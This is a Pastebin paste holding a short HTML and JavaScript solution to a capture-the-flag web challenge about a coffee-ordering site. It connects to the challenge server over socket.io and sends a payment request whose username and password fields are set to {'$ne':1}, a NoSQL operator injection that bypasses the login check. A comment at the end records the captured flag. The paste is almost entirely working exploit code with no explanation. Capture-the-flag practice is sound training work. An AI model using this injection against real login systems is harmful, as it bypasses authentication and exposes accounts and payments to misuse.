SHARE
TWEET

Untitled

a guest Dec 1st, 2014 636 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <script src="https://cdn.socket.io/socket.io-1.2.0.js"></script>
  2. <script>
  3. //razor4x - tasteless
  4. var socket = io("http://coffeeio.9447.plumbing");
  5. var order = {};
  6. order.type = "flat white";
  7. order.size = "regular";
  8. order.milk = "full";
  9. order.decaf = true;
  10. order.orange = true;
  11. order.caramel = true;
  12. order.hazelnut = true;
  13. order.pumpkinSpice = true;
  14.  
  15.     socket.on('disconnect', function () {
  16.         document.getElementById('lol').innerHTML+=('Disconnected from the server. There is a problem with your connection, or you have too many open connections', 'danger');
  17.     });
  18.  
  19.     socket.on('review', function (data) {
  20.         document.getElementById('lol').innerHTML+=( data.review);
  21.     });
  22.     socket.on('payment-success', function(data) {
  23.         document.getElementById('lol').innerHTML+=('<p><strong>You have successfully placed your order.</strong> ' +
  24.             'Please present this flag at the counter to verify your order:</p>' +
  25.             data.flag+ 'success');
  26.     });
  27.  
  28.     socket.on('payment-failure', function(errorMessage) {
  29.         document.getElementById('lol').innerHTML+=('<p><strong>There was an error with your payment</strong></p>' + errorMessage + 'danger');
  30.     });
  31. socket.emit('payment', {
  32.         username: {"$ne":1},
  33.         password: {"$ne":1},
  34.         order: order
  35. });
  36. //9447{c0ffee_pr1ces_in_AUS_suck_3_50_is_standard}
  37. </script>
  38.  
  39.  
  40. <div id="lol">
  41.  
  42. </div>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top